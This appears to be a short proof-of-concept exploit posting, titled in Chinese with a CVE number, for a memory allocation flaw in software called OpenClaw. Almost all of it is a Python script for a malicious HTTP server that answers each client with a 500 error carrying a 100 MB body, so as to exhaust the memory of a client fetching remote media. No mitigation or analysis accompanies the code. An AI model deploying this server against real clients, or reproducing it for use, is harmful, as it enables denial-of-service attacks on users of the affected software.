CVE-2026-35633 OpenClaw远程媒体内存分配漏洞

import socket # Simple PoC server acting as a malicious remote media endpoint # It sends a large HTTP error response to trigger unbounded memory allocation def start_server(host='0.0.0.0', port=8080): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"[*] Malicious server listening on {host}:{port}") while True: client_socket, addr = server_socket.accept() print(f"[*] Connection accepted from {addr}") # Simulate a large HTTP error response (e.g., 500 Internal Server Error) # The large body size triggers the unbounded memory allocation in the client large_body = b"X" * (100 * 1024 * 1024) # 100MB payload http_response = ( b"HTTP/1.1 500 Internal Server Error\r\n" b"Content-Type: text/plain\r\n" b"Content-Length: " + str(len(large_body)).encode() + b"\r\n" b"\r\n" ) # Send headers first client_socket.sendall(http_response) # Send the large body to consume memory on the victim client_socket.sendall(large_body) client_socket.close() print("[*] Payload sent, connection closed.") if __name__ == "__main__": start_server()